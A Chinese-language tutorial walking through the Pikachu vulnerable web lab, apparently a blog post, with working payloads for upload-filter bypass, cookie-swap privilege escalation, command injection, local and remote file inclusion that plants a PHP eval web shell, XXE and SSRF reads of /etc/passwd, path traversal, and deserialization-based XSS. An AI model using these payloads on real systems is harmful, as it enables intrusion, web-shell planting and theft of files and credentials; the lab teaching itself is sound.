头图:https://cdn.naraku.cn/imgs/pikachu/zh-0.jpg
摘要:Pikachu靶场中的文件上传下载包含、越权、RCE、XXE、SSRF、PHP反序列化等其它漏洞。

文件上传

概述

很多Web站点因业务需要,会开放一下文件上传的接口。而当后台没有对文件上传功能进行安全考虑或采用了有缺陷的措施,可能会导致黑客可以上传一些如一句话木马等恶意文件,并通过该恶意文件来控制整个Web后台。
Pikachu漏洞靶场系列之综合 - 图1

测试流程

  1. 对文件上传的地方按照要求上传文件,查看返回结果(路径、提示等)
  2. 尝试上传不同类型的恶意文件,分析结果
  3. 判断是否在前端做了限制,通过Burp等工具绕过
  4. 尝试使用不同方法进行绕过:
    • 黑白名单
    • MIME类型
    • 00截断等
  5. 猜测或结合其它漏洞(如敏感信息泄露等)得到木马路径,连接测试。

    Client Check

  • 这里直接上传一个木马文件shell.php,发现页面弹框:上传的文件不符合要求,请重新选择!
  • F12查看源码,发现上传处调用了checkFileExt(this.value)函数,可以看到此函数对上传文件的后缀进行了限制,只允许上传jpg/png/gif等图片格式的文件。

    1. <script>
    2. function checkFileExt(filename){
    3. var flag = false; //状态
    4. var arr = ["jpg","png","gif"];
    5. //取出上传文件的扩展名
    6. var index = filename.lastIndexOf(".");
    7. var ext = filename.substr(index+1);
    8. //比较
    9. for(var i=0;i<arr.length;i++){
    10. if(ext == arr[i]){
    11. flag = true; //一旦找到合适的,立即退出循环
    12. break;
    13. }
    14. }
    15. //条件判断
    16. if(!flag){
    17. alert("上传的文件不符合要求,请重新选择!");
    18. location.reload(true);
    19. }
    20. }
    21. </script>
  • 因此这里将木马文件重命名为shell.jpg,并使用Burp抓包,将后缀改回.php,成功上传。然后可以在页面看到返回路径为uploads/shell.php,通过菜刀/蚁剑连接即可。

Pikachu漏洞靶场系列之综合 - 图2

MIME Type

  • Burp抓包修改Content-Type为图片格式即可,如image/jpeg

Pikachu漏洞靶场系列之综合 - 图3

  • 常见MIME类型

    1. TXT文本 text/plain
    2. GIF图片 image/git
    3. JPG图片 image/jpeg

    getimagesize()

  • Getimagesize()函数的返回结果中含有文件大小和文件类型,如果用此函数来获取文件类型,从而判断是否图片的话,可通过伪造图片头进行绕过

    • 制作图片木马。这里准备一张正常图片a.jpg和一个木马文件shell.php。打开CMD,使用如下命令进行合成
      1. # copy /b 图片.png + 木马.php 图片木马.png
      2. copy /b a.png + shell.php muma.png
      Pikachu漏洞靶场系列之综合 - 图4
  • 最后将此图片木马文件上传即可

    越权漏洞

    概述

    如果使用A用户的权限去操作B用户的数据,A的权限小于B的权限,如果能够成功操作,则称之为越权操作。 越权漏洞形成的原因是后台使用了不合理的权限校验规则导致的。
    一般越权漏洞容易出现在权限页面(需要登录的页面)增、删、改、查的的地方,当用户对权限页面内的信息进行这些操作时,后台需要对 对当前用户的权限进行校验,看其是否具备操作的权限,从而给出响应,而如果校验的规则过于简单则容易出现越权漏洞。因此,在权限管理中应该遵守:

  1. 使用最小权限原则对用户进行赋权
  2. 使用合理(严格)的权限校验规则
  3. 使用后台登录态作为条件进行权限判断

    水平越权

    A用户和B用户属于同一级别用户,但不能操作对方的个人信息。A用户如果越权操作B用户的个人信息的情况则称为水平越权。

  • 先任意登录一个用户:lucy/123456,lili/123456,kobe/123456,点击查看个人信息,发现通过URL传递了参数username,尝试修改为其它用户,可以看到其它用户的信息
  • 实际情况中,类似这种水平越权通过GET方式的基本没有(即使存在也早已被修复)。更多的是POST请求,可以通过Burp抓包改包实现。

    垂直越权

    A用户权限低于B用户,如果A用户越权使用B用户的权限,如普通用户可以使用管理员范围的权限,则属于垂直越权。

这里有2个账号:超级管理员admin/123456可以查看、增删用户,普通管理员pikachu/000000只能查看用户

  • 先使用超级管理员登录并添加一个用户。抓取该数据包发送到Repeater
  • Repeater中点击发包,点击上方右箭头跟随重定向,可以看到用户添加成功

Pikachu漏洞靶场系列之综合 - 图5

  • 页面退出超级管理员,然后登录普通管理员,此管理员只有查看用户的权限
  • 登录成功后,Burp开启抓包,并刷新页面,抓取普通管理员的Cookie并赋值

Pikachu漏洞靶场系列之综合 - 图6

  • 回到Repeater模块,点击左箭头查看刚才添加用户的数据包,并将Cookie替换为上一步抓取到的普通管理员Cookie,点击发包。

Pikachu漏洞靶场系列之综合 - 图7

  • 发包成功后,可以看到这里使用了普通管理员的Cookie也完成了添加用户的操作

Pikachu漏洞靶场系列之综合 - 图8

远程命令执行

概述

RCE漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。

  • 远程系统命令执行:一般出现这种漏洞,是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口比如我们常见的路由器、防火墙、入侵检测等设备的web管理界面上。一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。而如果设计者在完成该功能时,没有做严格的安全控制,则可能会导致攻击者通过该接口提交“意想不到”的命令,从而让后台进行执行,从而控制整个后台服务器。现在很多的甲方企业都开始实施自动化运维,大量的系统操作会通过”自动化运维平台”进行操作。在这种平台上往往会出现远程系统命令执行的漏洞,不信的话现在就可以找你们运维部的系统测试一下,会有意想不到的”收获”-_- 。
  • 远程代码执行:同样的道理,因为需求设计,后台有时候也会把用户的输入作为代码的一部分进行执行,也就造成了远程代码执行漏洞。不管是使用了代码执行的函数,还是使用了不安全的反序列化等等。 因此,如果需要给前端用户提供操作类的API接口,一定需要对接口输入的内容进行严格的判断,比如实施严格的白名单策略会是一个比较好的方法。

    exec ping

  • 先进入exec "ping"漏洞环境,任意Ping一下,得到Ping相关信息。

    1. 127.0.0.1
  • 尝试使用&&拼接其它命令,测试是否存在RCE漏洞

    1. 127.0.0.1 && whoami
  • 此时可以看到,页面返回了不仅返回了Ping信息,还返回当前用户

    exec ping

  • 直接执行一个phpinfo();

    文件包含

    概述

    文件包含,是一个功能。在各种开发语言中都提供了内置的文件包含函数,其可以使开发人员在一个代码文件中直接包含(引入)另外一个代码文件。 比如在PHP中,提供了:include()include_once()require()require_once()等文件包含函数,这些函数在代码设计中被经常使用到。
    大多数情况下,文件包含函数中包含的代码文件是固定的,因此也不会出现安全问题。 但是,有些时候,文件包含的代码文件被写成了一个变量,且这个变量可以由前端传入。这种情况下,如果没有做足够的安全考虑,则可能会引发文件包含漏洞。 攻击着会指定一个“意想不到”的文件让包含函数去执行,从而造成恶意操作。 根据不同的配置环境,文件包含漏洞分为如下两种情况:

  1. 本地文件包含漏洞:仅能够对服务器本地的文件进行包含,由于服务器上的文件并不是攻击者所能够控制的,因此该情况下,攻击着更多的会包含一些固定的系统配置文件,从而读取系统敏感信息。很多时候本地文件包含漏洞会结合一些特殊的文件上传漏洞,从而形成更大的威力。
  2. 远程文件包含漏洞:能够通过url地址对远程的文件进行包含,这意味着攻击者可以传入任意的代码。

因此,在web应用系统的功能设计上尽量不要让前端用户直接传变量给包含函数,如果非要这么做,也一定要做严格的白名单策略进行过滤。

file include(local)

  • 进入file include(local)漏洞,下拉框任意选择球星后点提交。可看到URL如下:

    1. http://127.0.0.1/pikachu/vul/fileinclude/fi_local.php?filename=file1.php&submit=提交
  • 从URL中得知,该PHP文件通过filename参数传递了需要包含的本地文件。这里可以通过传入一些固定的系统配置文件来尝试获取敏感系统信息,如/etc/passwd。可通过../逐层返回到根目录

    1. http://127.0.0.1/pikachu/vul/fileinclude/fi_local.php?filename=../../../../../../etc/passwd&submit=提交

    file include(remote)

  • 此漏洞需要先在php.ini配置文件中打开allow_url_include,并重启服务使其生效。

    1. allow_url_include = On
  • 具体操作和前面本地包含差不多,但此处可包含远程服务器的文件。假设有另一台服务器192.168.1.103,其网站根目录下存在文件new.txt,内容如下

    1. <?php
    2. $file = fopen("shell.php", "w");
    3. $shell = '<?php eval($_POST[x]); ?>';
    4. fwrite($file, $shell);
    5. fclose($file);
    6. ?>
  • 这里使用存在远程文件包含漏洞的靶机将该文件包含进来

    1. http://127.0.0.1/pikachu/vul/fileinclude/fi_remote.txt?filename=http://192.168.1.103/new.txt&submit=提交
  • 此时,可知存在漏洞的靶机对应目录下看到shell.php,使用蚁剑连接

    1. http://127.0.0.1/pikachu/vul/fileinclude/shell.php

    Pikachu漏洞靶场系列之综合 - 图9

    防御思路

  • 在功能设计上尽量不要将文件包含函数对应的文件放给前端进行选择和操作

  • 通过过滤http/https防御RFI。但可通过http://http://的形式传入绕过防御。

    1. <?php
    2. $file = $_GET['page']; //替换字符串
    3. $file = str_replace("http://", "", $file);
    4. $file = str_replace("https://", "", $file);
    5. ?>
  • 配置php.ini文件

    1. allow_url_fopen = off
    2. Allow_url_include = off
    3. magic_quotes_gpc = on
  • 通过白名单策略,仅允许包含指定运行的文件,禁止其它文件。

    PHP反序列化

    序列化serialize()

  • 创建一个对象并进行序列化

    1. class S{
    2. public $test="pikachu";
    3. }
    4. $s = new S(); // 创建一个对象
    5. serialize($s); // 把这个对象进行序列化
  • 序列化后得到的结果:O:1:"S":1:{s:4:"test";s:7:"pikachu";}

    1. O:代表object
    2. 1:代表对象名字长度为一个字符
    3. S:对象的名称
    4. 1:代表对象里面有一个变量
    5. s:变量名数据类型
    6. 4:变量名的长度
    7. test:变量名
    8. s:变量值数据类型
    9. 7:变量值的长度
    10. pikachu:变量值

    反序列化unserialize()

  • 把上面序列化得到的结果进行反序列化

    1. $u = unserialize("O:1:"S":1:{s:4:"test";s:7:"pikachu";}");
    2. echo $u->test; // 输出反序列化结果中的test变量,即pikachu

    魔法函数

    序列化和反序列化本身没有问题,但是如果反序列化的内容是用户可以控制的,且后台不正当的使用了PHP中的魔法函数,就会导致安全问题。常见的魔法函数:

  • __construct(),当一个对象创建时被调用

  • __destruct(),当一个对象销毁时被调用
  • __toString(),当一个对象被当作一个字符串使用
  • __sleep(),在对象在被序列化之前运行
  • __wakeup,将在序列化之后立即被调用

    1. class S{
    2. var $test = "pikachu";
    3. function __destruct(){
    4. echo $this->test;
    5. }
    6. }
    7. $s = $_GET['test'];
    8. @$unser = unserialize($a);

    漏洞演示

  • 进入PHP反序列化漏洞,这里提示接收一个序列化的数据。那么可以将前面序列化的结果传进去,此时会回显pikachu

    1. O:1:"S":1:{s:4:"test";s:7:"pikachu";}
  • 这里可以结合反射型XSS漏洞,尝试弹框。可以看到上面回显的pikachu被一对<p>标签包裹,构造一下Payload

    1. pikachu</p><script>alert('xss')</script>
  • 用该XSS语句将前面序列化结果中的变量值替换掉,记得修改变量值的长度

    1. O:1:"S":1:{s:4:"test";s:40:"pikachu</p><script>alert('xss')</script>";}

    XXE

    XML外部实体注入漏洞。概括一下就是“攻击者通过向服务器注入指定的xml实体内容,从而让服务器按照指定的配置进行执行,导致问题”。也就是说服务端接收和解析了来自用户端的xml数据,而又没有做严格的安全控制,从而导致xml外部实体注入。

  • PHP里解析XML用的是libxml,其在>=2.9.0版本中是默认禁止解析XML外部实体内容的,但可以通过添加LIBXML_NOENT参数来开启外部实体解析。

    1. $xml = $_POST['xml'];
    2. # simplexml_load_string()函数: 将XML字符串转换为SimpleXMLElement对象
    3. $data = @simplexml_load_string($xml, 'SimpleXMLElement', LIBXML_NOENT)
    4. ...

    漏洞演示

  • 进入XML漏洞,提示接收一个XML数据,构造一个正常的XML并传入,可以看到正常返回user的值

    1. <!--XML声明-->
    2. <?xml version="1.0"?>
    3. <!--文档类型定义-->
    4. <!DOCTYPE note [
    5. <!ENTITY user "Naraku">
    6. ]>
    7. <!--文档元素-->
    8. <name>&user;</name>
  • 构造一个恶意XML,通过SYSTEM关键字去指定一个外部实体,从而读取外部的数据,如/etc/passwd

    1. <?xml version="1.0"?>
    2. <!DOCTYPE ANY[
    3. <!ENTITY f SYSTEM "file:///etc/passwd">
    4. ]>
    5. <x>&f;</x>

    SSRF

    服务器端请求伪造。攻击者可以传入任意的地址来让后端服务器对其发起请求,并返回对该目标地址请求的数据。其形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,但又没有对目标地址做严格过滤与限制。

  • 数据流:攻击者 -> 服务器 -> 目标地址

  • 根据后台使用的函数的不同,对应的影响和利用方法又有不一样

    1. # PHP中下面函数的使用不当会导致SSRF:
    2. file_get_contents()
    3. fsockopen()
    4. curl_exec()

    SSRF(curl)

  • 进入漏洞并点击超链接,发现URL跳转

    1. http://127.0.0.1/pikachu/vul/ssrf/ssrf_curl.php?url=http://127.0.0.1/pikachu/vul/ssrf/ssrf_info/info1.php
  • 通过传递url参数,可以达到对目标所在网段进行扫描等功能,如扫描目标站点是否开启22端口

    1. http://127.0.0.1/pikachu/vul/ssrf/ssrf_curl.php?url=http://127.0.0.1:22
  • 读取文件

    1. http://127.0.0.1/pikachu/vul/ssrf/ssrf_curl.php?url=file:///etc/passwd
    2. http://127.0.0.1/pikachu/vul/ssrf/ssrf_curl.php?url=file:///c:/myfile.txt

    SSRF(file_get_contents)

  • 利用方法同上,亦可通过PHP协议对文件进行读取,如读取PHP文件源码

    1. http://127.0.0.1/pikachu/vul/ssrf/ssrf_fgc.php?file=php://filter/read=convert.base64-encode/resource=ssrf.php
  • 这里读取ssrf.php文件并以Base64编码形式返回,

    1. <?php
    2. /**
    3. * Created by runner.han
    4. * There is nothing new under the sun
    5. */
    6. $SELF_PAGE = substr($_SERVER['PHP_SELF'],strrpos($_SERVER['PHP_SELF'],'/')+1);
    7. if ($SELF_PAGE = "ssrf.php"){
    8. $ACTIVE = array('','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','active open','active','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','');
    9. }
    10. $PIKA_ROOT_DIR = "../../";
    11. include_once $PIKA_ROOT_DIR.'header.php';
    12. ?>
    13. <div class="main-content">
    14. <div class="main-content-inner">
    15. <div class="breadcrumbs ace-save-state" id="breadcrumbs">
    16. <ul class="breadcrumb">
    17. <li>
    18. <i class="ace-icon fa fa-home home-icon"></i>
    19. <a href="ssrf.php"></a>
    20. </li>
    21. <li class="active">概述</li>
    22. </ul>
    23. </div>
    24. <div class="page-content">
    25. <b>SSRF(Server-Side Request Forgery:服务器端请求伪造)</b>
    26. <p>其形成的原因大都是由于服务端<b>提供了从其他服务器应用获取数据的功能</b>,但又没有对目标地址做严格过滤与限制</p>
    27. 导致攻击者可以传入任意的地址来让后端服务器对其发起请求,并返回对该目标地址请求的数据<br>
    28. <br>
    29. 数据流:攻击者----->服务器---->目标地址<br>
    30. <br>
    31. 根据后台使用的函数的不同,对应的影响和利用方法又有不一样
    32. <pre style="width: 500px;">
    33. PHP中下面函数的使用不当会导致SSRF:
    34. file_get_contents()
    35. fsockopen()
    36. curl_exec()
    37. </pre><br>
    38. 如果一定要通过后台服务器远程去对用户指定("或者预埋在前端的请求")的地址进行资源请求,<b>则请做好目标地址的过滤</b>
    39. <br>
    40. <br>
    41. 你可以根据"SSRF"里面的项目来搞懂问题的原因
    42. </div><!-- /.page-content -->
    43. </div>
    44. </div><!-- /.main-content -->
    45. <?php
    46. include_once $PIKA_ROOT_DIR . 'footer.php';
    47. ?>

    任意文件下载/目录遍历

    这里利用方式和前面本地文件包含类似,通过构造路径读取敏感文件

  • Unsafe File Download

    1. http://127.0.0.1/pikachu/vul/unsafedownload/execdownload.php?filename=../../../../../../etc/passwd
  • ../../

    1. http://127.0.0.1/pikachu/vul/dir/dir_list.php?title=../../../../../../etc/passwd

    敏感信息泄露

    通过F12查看注释,得到账户密码lili/123456

    URL重定向

  • 进入漏洞页面,点击第4个选项,发现可通过url参数控制跳转页面,可将其重定向到恶意站点

    1. http://127.0.0.1/pikachu/vul/urlredirect/urlredirect.php?url=目标站点